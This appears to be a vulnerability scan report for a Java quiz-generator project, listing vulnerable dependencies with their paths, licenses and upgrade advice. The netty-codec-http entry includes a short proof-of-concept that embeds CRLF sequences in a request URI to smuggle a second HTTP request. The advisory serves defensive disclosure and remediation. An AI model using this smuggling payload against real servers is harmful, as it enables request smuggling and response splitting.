Find, fix and prevent vulnerabilities in your code.
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1
Detailed paths
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-webclient@4.0.1 › io.projectreactor.netty:reactor-netty-http@1.3.1 › io.netty:netty-codec-http@4.2.7.Final
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-webclient@4.0.1 › io.projectreactor.netty:reactor-netty-http@1.3.1 › io.netty:netty-codec-http2@4.2.7.Final › io.netty:netty-codec-http@4.2.7.Final
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-webclient@4.0.1 › io.projectreactor.netty:reactor-netty-http@1.3.1 › io.netty:netty-codec-http3@4.2.7.Final › io.netty:netty-codec-http@4.2.7.Final
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-webclient@4.0.1 › io.projectreactor.netty:reactor-netty-http@1.3.1 › io.projectreactor.netty:reactor-netty-core@1.3.1 › io.netty:netty-handler-proxy@4.2.7.Final › io.netty:netty-codec-http@4.2.7.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.
PoC
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.
References
medium severity
- Module: ch.qos.logback:logback-classic
- Introduced through: org.springframework.boot:spring-boot-starter-actuator@4.0.1, org.springframework.ai:spring-ai-spring-boot-docker-compose@2.0.0-M1 and others
Detailed paths
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-actuator@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-spring-boot-docker-compose@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-webmvc@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › io.github.springboot-addons:spring-boot-starter-httpclient5-actuator@1.2.1 › io.github.springboot-addons:spring-boot-starter-httpclient5@1.2.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › io.github.springboot-addons:spring-boot-starter-httpclient5-actuator@1.2.1 › org.springframework.boot:spring-boot-starter-actuator@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-client@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-memory@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-restclient@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-webclient@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › io.github.springboot-addons:spring-boot-starter-httpclient5-resilience4j@1.2.1 › io.github.springboot-addons:spring-boot-starter-httpclient5@1.2.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-actuator@4.0.1 › org.springframework.boot:spring-boot-starter-micrometer-metrics@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-spring-boot-docker-compose@2.0.0-M1 › org.springframework.boot:spring-boot-starter-mongodb@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-webmvc@4.0.1 › org.springframework.boot:spring-boot-starter-jackson@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-webmvc@4.0.1 › org.springframework.boot:spring-boot-starter-tomcat@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › io.github.springboot-addons:spring-boot-starter-httpclient5-actuator@1.2.1 › org.springframework.boot:spring-boot-starter-actuator@4.0.1 › org.springframework.boot:spring-boot-starter-micrometer-metrics@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-observation@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-embedding-observation@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-image-observation@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-tool@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-retry@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-restclient@4.0.1 › org.springframework.boot:spring-boot-starter-jackson@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-webclient@4.0.1 › org.springframework.boot:spring-boot-starter-jackson@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22
Dual license: EPL-1.0, LGPL-2.1
medium severity
- Module: ch.qos.logback:logback-core
- Introduced through: org.springframework.boot:spring-boot-starter-actuator@4.0.1, org.springframework.ai:spring-ai-spring-boot-docker-compose@2.0.0-M1 and others
Detailed paths
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-actuator@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-spring-boot-docker-compose@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-webmvc@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › io.github.springboot-addons:spring-boot-starter-httpclient5-actuator@1.2.1 › io.github.springboot-addons:spring-boot-starter-httpclient5@1.2.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › io.github.springboot-addons:spring-boot-starter-httpclient5-actuator@1.2.1 › org.springframework.boot:spring-boot-starter-actuator@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-client@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-memory@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-restclient@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-webclient@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › io.github.springboot-addons:spring-boot-starter-httpclient5-resilience4j@1.2.1 › io.github.springboot-addons:spring-boot-starter-httpclient5@1.2.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-actuator@4.0.1 › org.springframework.boot:spring-boot-starter-micrometer-metrics@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-spring-boot-docker-compose@2.0.0-M1 › org.springframework.boot:spring-boot-starter-mongodb@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-webmvc@4.0.1 › org.springframework.boot:spring-boot-starter-jackson@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.boot:spring-boot-starter-webmvc@4.0.1 › org.springframework.boot:spring-boot-starter-tomcat@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › io.github.springboot-addons:spring-boot-starter-httpclient5-actuator@1.2.1 › org.springframework.boot:spring-boot-starter-actuator@4.0.1 › org.springframework.boot:spring-boot-starter-micrometer-metrics@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-observation@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-embedding-observation@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-image-observation@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-tool@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-retry@2.0.0-M1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-restclient@4.0.1 › org.springframework.boot:spring-boot-starter-jackson@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.boot:spring-boot-starter-webclient@4.0.1 › org.springframework.boot:spring-boot-starter-jackson@4.0.1 › org.springframework.boot:spring-boot-starter@4.0.1 › org.springframework.boot:spring-boot-starter-logging@4.0.1 › ch.qos.logback:logback-classic@1.5.22 › ch.qos.logback:logback-core@1.5.22
Dual license: EPL-1.0, LGPL-2.1
medium severity
- Module: junit:junit
- Introduced through: org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1
Detailed paths
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-memory@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-openai@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-client@2.0.0-M1 › org.springframework.ai:spring-ai-client-chat@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-embedding-observation@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-image-observation@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-tool@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-openai@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-observation@2.0.0-M1 › org.springframework.ai:spring-ai-client-chat@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
EPL-1.0 license
low severity
- Vulnerable module: junit:junit
- Introduced through: org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1
Detailed paths
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-autoconfigure-model-chat-memory@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
Introduced through: pacphi/kahoot-quiz-generator@pacphi/kahoot-quiz-generator#b75d34b551ed20709d89033ac46c10753549d915 › org.springframework.ai:spring-ai-starter-model-openai@2.0.0-M1 › org.springframework.ai:spring-ai-openai@2.0.0-M1 › org.springframework.ai:spring-ai-model@2.0.0-M1 › org.springframework.ai:spring-ai-template-st@2.0.0-M1 › org.antlr:ST4@4.3.4 › org.antlr:antlr-runtime@3.5.3 › junit:junit@4.13
-
